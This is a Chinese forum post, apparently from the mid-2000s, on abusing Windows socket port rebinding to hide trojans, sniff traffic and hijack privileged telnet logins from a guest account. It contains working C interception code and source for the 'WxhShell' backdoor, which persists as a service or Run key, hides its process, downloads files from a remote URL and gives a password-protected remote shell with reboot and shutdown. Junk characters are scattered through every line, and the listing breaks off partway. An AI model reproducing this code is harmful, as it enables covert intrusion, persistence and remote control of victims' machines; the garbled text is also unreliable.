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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MPzqw)_-v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GWE`'V  
]VJcV.7`  
  saddr.sin_family = AF_INET; 4 d]  
6%S>~L66  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^ioTd  
uFdSD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =r0!-[XCa  
5!nZvv  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @oRYQ|.R  
ObM5vrEk|  
  这意味着什么?意味着可以进行如下的攻击: }Pb!u9_  
cjN4U [  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  7/7A  
&I(|aZx?J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )%j)*Ymz;  
==FzkRA)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X_!mZ\H7  
30H:x@='9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %\b5)p  
6AQ;P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #-lk=>  
r LfS9H  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }Xc|Z.6  
CKBi-q FH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M.OWw#?p:_  
5 h{Hf]A  
  #include LnJ7i"Q  
  #include It_yh #s  
  #include t*}<v@,  
  #include    8=nm`7(]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U'lmQrF!  
  int main() Ej34^*m9k  
  { S'@"a%EV  
  WORD wVersionRequested; kT$4X0}  
  DWORD ret; H>7!+&M  
  WSADATA wsaData; 4x C0Aw  
  BOOL val; *E. 2R{  
  SOCKADDR_IN saddr; e@,L~ \  
  SOCKADDR_IN scaddr; Fk9(FOFg  
  int err; /Cg/Rwl  
  SOCKET s; F 1zc4l6  
  SOCKET sc; 9MYt4  
  int caddsize; 3p4bOT5  
  HANDLE mt; &0C!P=-p  
  DWORD tid;   i{e<kKh  
  wVersionRequested = MAKEWORD( 2, 2 ); (Iq\+@xE=  
  err = WSAStartup( wVersionRequested, &wsaData ); 33;|52$  
  if ( err != 0 ) { ;q^YDZ'  
  printf("error!WSAStartup failed!\n"); SQ1&n;M}f  
  return -1; sIy$}_  
  } AMm O+E?  
  saddr.sin_family = AF_INET; v Cmh3TQ  
   mE7Jv)@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aEM#V  
(CV=0{]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R;.WOies4  
  saddr.sin_port = htons(23); -"nYCF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G7=8*@q>:  
  { a #0{tZd  
  printf("error!socket failed!\n"); 7r;A wa  
  return -1; '{u#:TTj  
  } kg@J.   
  val = TRUE; Q?;ntzi  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }N|/b"j9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e.kt]l  
  { {r}}X@|5  
  printf("error!setsockopt failed!\n"); {vH8X(m  
  return -1; iGlZFA  
  } Z)&HqqT3p  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }wb;ulN)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1 `AE]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 DtS{iH=s]  
A3$b_i@P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0z xeA +U  
  { MtB:H*pM  
  ret=GetLastError(); ;Dgp !*v=  
  printf("error!bind failed!\n"); b>(l F%M  
  return -1; Dm^kuTIG  
  } f:0n-me  
  listen(s,2); ;5l|-&{@*  
  while(1) [eN{Ft0x  
  { ,5?MRqCM  
  caddsize = sizeof(scaddr); NNdS:(  
  //接受连接请求 #e=^-yE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !58JK f  
  if(sc!=INVALID_SOCKET) sg2C_]i,H  
  { &ivIv[LV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); eC39C2q\  
  if(mt==NULL) N{yZk"fq:6  
  { qprOxP r  
  printf("Thread Creat Failed!\n"); 8UcT? Zp  
  break; {ULnQ 6@  
  } Fo=6A[J  
  } ]z%9Q8q'  
  CloseHandle(mt); 1mV0AE538  
  } 6;*(6$;  
  closesocket(s); ]]ZBG<#  
  WSACleanup(); 5~F0'tb|}  
  return 0; !R@4tSu  
  }   {cI<4><  
  DWORD WINAPI ClientThread(LPVOID lpParam) J)-> 7h =  
  { A~>=l=  
  SOCKET ss = (SOCKET)lpParam; y_&XF>k91  
  SOCKET sc; ~k(Ez pn#  
  unsigned char buf[4096]; qQ'@yTVN  
  SOCKADDR_IN saddr; 'W*F[U*&HP  
  long num; rY= #^S  
  DWORD val; 463dLEd  
  DWORD ret; k}.nH"AQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B=r/(e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [ub\DLl  
  saddr.sin_family = AF_INET; \nWpV7TSN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (jG$M=q-  
  saddr.sin_port = htons(23); J_@4J7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M2S|$6t:  
  { I2T2'_I  
  printf("error!socket failed!\n"); g < o;\\  
  return -1; _@;N<$&  
  } 9R[','x  
  val = 100; WGx>{'LJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #w@Pa L iS  
  { (ce NVo&  
  ret = GetLastError(); zJ`(LnV  
  return -1; 4C cb!?  
  } A'8K^,<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mg(56)  
  { QR'g*Bro  
  ret = GetLastError(); kDh(~nfj  
  return -1; bYc qscW  
  } HWBom8u0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5aNDW'z`f  
  { :bDA<B6bb  
  printf("error!socket connect failed!\n"); S/;Y4o  
  closesocket(sc); 4vS!99v)  
  closesocket(ss); >6 #\1/RP  
  return -1; =;=V4nKN  
  } E}=NZqOB!  
  while(1) O;BPd:<  
  { Gf\_WNrSE+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 I>#ChV)(#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 eHe /w9`$R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dDbC0} x/  
  num = recv(ss,buf,4096,0); eb\`)MI/  
  if(num>0) 9A(K_d-!H  
  send(sc,buf,num,0); +GU16+w~E  
  else if(num==0) Kj 8 W  
  break; f:5/y^M&  
  num = recv(sc,buf,4096,0); CF"3<*%x  
  if(num>0) ""^BW Re D  
  send(ss,buf,num,0); {;DZ@2|  
  else if(num==0) Dys"|,F  
  break; 2*YXm>|1  
  } pNFIO t:(  
  closesocket(ss); L? +|%[  
  closesocket(sc); #>B1$(@  
  return 0 ; pH%c7X/[3L  
  } MA# !<b('  
j//wh1  
)d u{ZWr  
========================================================== p9WskYpm  
vh8Kd' y  
下边附上一个代码,,WXhSHELL ]#.&f]6l  
S(h*\we  
========================================================== J)|K/W9  
Gx_e\fe-/  
#include "stdafx.h" b.*4RL  
pw yl,A  
#include <stdio.h> wR4u}gb#q  
#include <string.h> j]O[I^5  
#include <windows.h> ix@rq#  
#include <winsock2.h> 3uG5b8?  
#include <winsvc.h> L.[uMuUa  
#include <urlmon.h> d<? :Q  
Aq'E:/  
#pragma comment (lib, "Ws2_32.lib") 2{Iz  
#pragma comment (lib, "urlmon.lib") z.HNb$;  
_ D}b  
#define MAX_USER   100 // 最大客户端连接数 ldvxYq<:  
#define BUF_SOCK   200 // sock buffer K0=E4>z,`q  
#define KEY_BUFF   255 // 输入 buffer Jjh!/pWZ4  
&"%|`gE  
#define REBOOT     0   // 重启 6G$tYfX  
#define SHUTDOWN   1   // 关机 (kyo?3  
kGV`Q  
#define DEF_PORT   5000 // 监听端口 -xIhN?r)  
< DZ76  
#define REG_LEN     16   // 注册表键长度 EoR6Rx@Z  
#define SVC_LEN     80   // NT服务名长度 4 S9, tc&  
,nRwwFd.  
// 从dll定义API l]y%cJ~$'D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aB6LAb2z;T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GSnHxs)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v^_]W3K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bvS\P!m\c  
C,vc aC?  
// wxhshell配置信息 ,<r3Z$G  
struct WSCFG { "sX?wTag  
  int ws_port;         // 监听端口 SJ7=<y}[d  
  char ws_passstr[REG_LEN]; // 口令 <?Izfl6  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~<[5uZIo  
  char ws_regname[REG_LEN]; // 注册表键名 WTv\HI2X !  
  char ws_svcname[REG_LEN]; // 服务名 "d>g)rvOc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [mzF)/[_2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L9?/ -@M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )TG0m= *  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &|"I0|tJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L8xprHgL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zi@+T  
02#Iip3t  
}; L{%a4 Ip  
C|;Mhe'r=  
// default Wxhshell configuration FDs^S)B  
struct WSCFG wscfg={DEF_PORT, jTUf4&b-  
    "xuhuanlingzhe", 'Qq_Xn8  
    1, VD&3%G!  
    "Wxhshell", lF"(|n"R  
    "Wxhshell", ~nc([%!=  
            "WxhShell Service", {2gd4[:  
    "Wrsky Windows CmdShell Service", -Dq:Y,%q  
    "Please Input Your Password: ", q;0&idYC  
  1, 9f%y)[ \  
  "http://www.wrsky.com/wxhshell.exe", (s@tU>4U  
  "Wxhshell.exe" ! }?jCpp  
    }; RHl=$Hm.%  
v;}`?@G  
// 消息定义模块 o"}&qA;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n.XhK_6n]M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4J 51i*`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dtnet_j  
char *msg_ws_ext="\n\rExit."; ^C)TM@+  
char *msg_ws_end="\n\rQuit."; -YjgS/g  
char *msg_ws_boot="\n\rReboot..."; [gns8F#H\  
char *msg_ws_poff="\n\rShutdown..."; Y0fO.k#C^  
char *msg_ws_down="\n\rSave to "; !a&SB*%^I3  
#!u51P1  
char *msg_ws_err="\n\rErr!"; SP?U@w%}  
char *msg_ws_ok="\n\rOK!"; chMc(.cN0  
n$|c{2]=  
char ExeFile[MAX_PATH]; zvb} p  
int nUser = 0; R~5* #r@f  
HANDLE handles[MAX_USER]; i|]Va44  
int OsIsNt; ]\ 2RV DC  
O][Nl^dl  
SERVICE_STATUS       serviceStatus; fw|+7 O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oBNX8%5w  
T'b/]&0Tio  
// 函数声明 UB@+c k  
int Install(void); ]w8(&,PP  
int Uninstall(void); KkbDW3-  
int DownloadFile(char *sURL, SOCKET wsh); b]#AI qt  
int Boot(int flag); tS=(}2Q  
void HideProc(void); ea 'D td  
int GetOsVer(void); !l8PDjAE  
int Wxhshell(SOCKET wsl); ##>H&,Dp[  
void TalkWithClient(void *cs); qo bc<-  
int CmdShell(SOCKET sock); *.t 7G  
int StartFromService(void); kdeWip6Y  
int StartWxhshell(LPSTR lpCmdLine); (hbyEQhF  
fIU#M]Xx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }S-O& Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V U3upy<  
`Ggbi4),  
// 数据结构和表定义 JK5gQ3C[  
SERVICE_TABLE_ENTRY DispatchTable[] = 8(~ h"]`!  
{ %dVZ0dl  
{wscfg.ws_svcname, NTServiceMain}, H<,gU`&R  
{NULL, NULL} bq*eH (qx  
}; \_f(M|  
on `3&0,.  
// 自我安装 <>rneHl8  
int Install(void) m;QMQeGz  
{ w<(pl%  
  char svExeFile[MAX_PATH]; eD6fpe\(  
  HKEY key; @*( (1(q  
  strcpy(svExeFile,ExeFile); Q p3_f8  
8<Av@9 *}  
// 如果是win9x系统,修改注册表设为自启动 <0!):zraS  
if(!OsIsNt) { W/h[A3 `3N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }K|oicpUg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |@d\S[~^G  
  RegCloseKey(key); NC(~l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &V/Mmm T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8{sGNCvU  
  RegCloseKey(key); %* }(}~  
  return 0; 2\{zmc}G-0  
    } %Q|Atgp  
  } zK@@p+n_#.  
} HG^'I+Yn  
else { &Z%?!.4j@  
`b$.%S8uj=  
// 如果是NT以上系统,安装为系统服务 ~Mxvq9vaD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VMWf>ZU  
if (schSCManager!=0) 0@oJFJrO  
{ ud('0 r',D  
  SC_HANDLE schService = CreateService *$g-:ILRuZ  
  ( vr =#3>  
  schSCManager, +CNv l  
  wscfg.ws_svcname, X'iWJ8  
  wscfg.ws_svcdisp, wFZP,fQ9l  
  SERVICE_ALL_ACCESS, &tj!*k'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4.t-i5  
  SERVICE_AUTO_START, %EB/b  
  SERVICE_ERROR_NORMAL, Ysv" 6b}  
  svExeFile, ew4U)2J+  
  NULL, Gk6iIK  
  NULL, >z@0.pN]7  
  NULL, ZJiG!+-j  
  NULL, S)@j6(HC4  
  NULL G4"F+%.  
  ); 5r ^(P  
  if (schService!=0) o66}yJzmD  
  { xJ.M;SF4  
  CloseServiceHandle(schService); utV_W&  
  CloseServiceHandle(schSCManager); IH+|}z4N?>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uwGc@xOgg,  
  strcat(svExeFile,wscfg.ws_svcname); nqUV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Zj'9rXhrM1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m)v &v6  
  RegCloseKey(key); 'm$L Ij?@  
  return 0; )9]PMA?u  
    } p4Z(^+Aa  
  } l.M0`Cn-%  
  CloseServiceHandle(schSCManager); Ig{0Z">  
} f3y=Wxk[  
} c-sfg>0^  
5Gm_\kd  
return 1; c7H^$_^=  
} y?3; 06y|  
K{+2G&i  
// 自我卸载 KMax$  
int Uninstall(void) t%8BK>AHvw  
{ G 01ON0  
  HKEY key; 5|)W.*Q  
d&>^&>?$zh  
if(!OsIsNt) { 5)X=*I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cFXp  
  RegDeleteValue(key,wscfg.ws_regname); GTHt'[t@;  
  RegCloseKey(key); n+M<\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6ik$B   
  RegDeleteValue(key,wscfg.ws_regname); o)/ 0a  
  RegCloseKey(key); "#g}ve,  
  return 0; iWR)ke  
  } <F'\lA9  
} P.DK0VgY  
} #AY&BWS$  
else { gjlx~.0d  
+lTq^4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |Y.?_lC  
if (schSCManager!=0) {M)Nnst"~  
{ &H+xzN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'Pbr v  
  if (schService!=0) rPm x  
  { yB!dp;gM{  
  if(DeleteService(schService)!=0) { x4O~q0>:Le  
  CloseServiceHandle(schService); +kD R.E:  
  CloseServiceHandle(schSCManager); `WS&rmq&'  
  return 0; v"0J&7!J  
  } N2o7%gJw  
  CloseServiceHandle(schService); &7s.`  
  } 4skD(au8  
  CloseServiceHandle(schSCManager); yf,z$CR  
} ^B^9KEjTz  
} }6ldjCT/,  
% ] U  
return 1; vP,n(reM  
} 7xR\kL.,  
_#8MkW#]~  
// 从指定url下载文件 _yT Ed"$  
int DownloadFile(char *sURL, SOCKET wsh) !<F3d`a  
{ fV~[;e;U.  
  HRESULT hr; GLODVcjf  
char seps[]= "/"; ! d gNtI@  
char *token; 0*v2y*2V  
char *file; Gq P5Kx+=  
char myURL[MAX_PATH]; $:^td/p J  
char myFILE[MAX_PATH]; ,#K'PB4E  
Zwx%7l;C  
strcpy(myURL,sURL); !<h)w#>en  
  token=strtok(myURL,seps); Uw:"n]G]D?  
  while(token!=NULL) }-`4DHgq  
  { (h `V+  
    file=token; nr3==21Om4  
  token=strtok(NULL,seps); K)P%;X  
  } SS2%q v  
C_Wc5{  
GetCurrentDirectory(MAX_PATH,myFILE); "Y.y:Vv;  
strcat(myFILE, "\\"); )M^ gT}M  
strcat(myFILE, file); 5IG-~jzCLb  
  send(wsh,myFILE,strlen(myFILE),0); |l!aB(NW  
send(wsh,"...",3,0); "gwSJ~:ds  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ")25 qZae  
  if(hr==S_OK) ss-D(K"  
return 0; 2t,zLwBdnJ  
else %jM,W}2  
return 1; LH6 vLuf  
T8NxJmYqB  
} &c #N)U  
Ir]\|t  
// 系统电源模块 ?@89lLD  
int Boot(int flag) 'B}qZCy W  
{ ,z?':TZ  
  HANDLE hToken; LgYq.>Nl9  
  TOKEN_PRIVILEGES tkp; :Tq~8!s  
wA.\i  
  if(OsIsNt) { wQLSf{2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \`"ht  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u=yOu^={  
    tkp.PrivilegeCount = 1; &.ACd+Cd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :Q q#Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wNX]7wMX  
if(flag==REBOOT) { 0BsYavCR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E)3NxmM#  
  return 0; J8~haim  
} 9>$p  
else { $ulOp;~A%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L=h'Qgk%  
  return 0; .sA.C] f  
} <\FH fE  
  } :H[6Lg\*  
  else { r_.S>]  
if(flag==REBOOT) { *$*ce|V5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Vz[C=_m  
  return 0; a: K[ y  
} CH/rp4NeSy  
else { 8r!zBKq2~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nF/OPd  
  return 0; 4/)k)gLI  
} F<w/PMb  
} !%>7Dw(kt  
(I}v[W  
return 1; 59-c<I/}f  
} ,2)6s\]/b  
!VK|u8i  
// win9x进程隐藏模块 )_NO4`ejs/  
void HideProc(void) cS+>J@L  
{ Vq2$'lY  
;=UsAB]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WjjB<YKzF  
  if ( hKernel != NULL ) %K QQ,{ b  
  { d5l UGRg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QdC<Sk!G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a}u Sm/S  
    FreeLibrary(hKernel); . [ mR M  
  } 2px|_)i  
X 8`Sf>  
return; ]:\dPw`A  
} } d }lR  
8.~kK<)!  
// 获取操作系统版本 E~:x(5'%d  
int GetOsVer(void) %PJQ%~ A  
{ -!9G0h&i|  
  OSVERSIONINFO winfo; nxHkv`s k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y4(  
  GetVersionEx(&winfo); l lsfTrp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *\q d  
  return 1; MJrR[h]  
  else YAmb`CP  
  return 0; >"<Wjr8W!$  
} 3yXY.>'  
EZ`{Wnbq  
// 客户端句柄模块  RX5dO%  
int Wxhshell(SOCKET wsl) CWS4lx  
{ b_):MQ1{  
  SOCKET wsh; xP,hTE  
  struct sockaddr_in client; jNy.Y8E&  
  DWORD myID; V470C@  
qyNyBr?  
  while(nUser<MAX_USER) \^%}M!tan  
{ )F2OT<]m,  
  int nSize=sizeof(client); -PQv ?5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $tS}LN_!  
  if(wsh==INVALID_SOCKET) return 1; 9&ids!W~yx  
!? gKqx'T$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k# rBB  
if(handles[nUser]==0) ` ~`k_7t.  
  closesocket(wsh); PiYxk+N  
else 6JQ'Ik;$wX  
  nUser++; O7IJ%_A&  
  } 8&aq/4:q0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k@:%:Sj 2  
Tu7QCr5*  
  return 0; v}Fr@0%  
} JO< wU  
"w.3Q96r  
// 关闭 socket WeiFmar  
void CloseIt(SOCKET wsh) puM3g|n@  
{ DDH:)=;z  
closesocket(wsh); t`mV\)fa  
nUser--; Wiu"k%Qsh  
ExitThread(0); &JI8]JmU)  
} (J!+(H 8  
Z)aUt Srf  
// 客户端请求句柄 [zM-^  
void TalkWithClient(void *cs) Ez=Olbk  
{ k)Qtfj}uij  
9*?oYm;dX  
  SOCKET wsh=(SOCKET)cs; :Z z '1C  
  char pwd[SVC_LEN]; \K!VNB>h  
  char cmd[KEY_BUFF]; xK\d4 "  
char chr[1]; \;"=QmRD%:  
int i,j; }U9G    
u-5{U-^_  
  while (nUser < MAX_USER) { }!C)}.L<  
/~f'}]W  
if(wscfg.ws_passstr) { xlg9TvvI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q%?in+l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H+Sz=tg5  
  //ZeroMemory(pwd,KEY_BUFF); 1 Ya`| ?FS  
      i=0; /RC7"QzL  
  while(i<SVC_LEN) { qeZ? 7#Gf  
46&/gehr  
  // 设置超时 /d<P-!fK  
  fd_set FdRead; ~La>?:g <+  
  struct timeval TimeOut; EJNU761  
  FD_ZERO(&FdRead); fsWTF<Y  
  FD_SET(wsh,&FdRead);  'CkIz"Wd  
  TimeOut.tv_sec=8; H}bJ"(9$vC  
  TimeOut.tv_usec=0; A=wh@"2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~O &:C{9=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .=jay{  
%Qdn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V% 6I\G2/:  
  pwd=chr[0]; ={wcfhUl+  
  if(chr[0]==0xd || chr[0]==0xa) { 8eHyL  
  pwd=0; s6^>F/x  
  break; 3x'|]Ns  
  } W]5w \  
  i++; *itUWpNhr  
    } _t #k,;  
9c :cw  
  // 如果是非法用户,关闭 socket ` v@m-j6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4u5-7[TZ  
} ]F'e aR  
g~A`N=r;h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HqT#$}rv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P! #[mio  
+s DV~\Vu  
while(1) { T <ET )D7  
&AbNWtCV+G  
  ZeroMemory(cmd,KEY_BUFF); -0x #  
8&`LYdzt  
      // 自动支持客户端 telnet标准   J,y[[CdH`  
  j=0; wyO4Y  
  while(j<KEY_BUFF) { }oGA-Qc}B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~g ZLY ls  
  cmd[j]=chr[0]; Q:k}Jl  
  if(chr[0]==0xa || chr[0]==0xd) { j yUCH*@  
  cmd[j]=0;  DwE[D]7o  
  break; T !WT;A  
  } )"aV* "  
  j++; PKg@[<g43  
    } U6fgo3RH  
~;{; ,8!)  
  // 下载文件 54R#W:t  
  if(strstr(cmd,"http://")) { .Od !0(0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 65$+{s  
  if(DownloadFile(cmd,wsh)) nwRc%C``UK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V7fq4O^:  
  else ::{Q1F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fN^8{w/O  
  } \B,@`dw  
  else { iE^84l68  
G.a bql  
    switch(cmd[0]) { h-<81"}j1  
  Jgd'1'FOs  
  // 帮助 =Qj{T  
  case '?': { +V046goX W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9} M?P  
    break; Hp!-248S  
  } k],Q9  
  // 安装 rgtT~$S  
  case 'i': { =BAW[%1b  
    if(Install()) 0 e ~JMUb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c"V"zg22  
    else Ep3N&Imp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [H^z-6x:0  
    break; F {4bo$~>  
    } PB`Y g  
  // 卸载 x vl#w  
  case 'r': { 3z9d!I^>k  
    if(Uninstall()) &n}f?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qCpp6~]Um  
    else }1i`6`y1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gANuBWh8T  
    break; Rmt~,cW!\  
    } ][h%UrV  
  // 显示 wxhshell 所在路径 ?2{Gn-{  
  case 'p': { &LZn FR  
    char svExeFile[MAX_PATH]; {xB!EQ"  
    strcpy(svExeFile,"\n\r"); s.N/2F& *W  
      strcat(svExeFile,ExeFile); Pz|>"'  
        send(wsh,svExeFile,strlen(svExeFile),0); q{I%Q)t)gU  
    break; 1 A !bE  
    } Ed,~1GanY  
  // 重启 sn$9Shgh  
  case 'b': { YPK(be_|I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +tIF h'  
    if(Boot(REBOOT)) pF:$  ko  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m6&~HfwN  
    else { 2E/"hQw  
    closesocket(wsh); l2rd9 -T  
    ExitThread(0); J0\Fhe0'  
    } uHvp;]/0\  
    break; lC("y' ::  
    } a85$K$b>  
  // 关机 xU>WEm2  
  case 'd': { RD'Q :W  
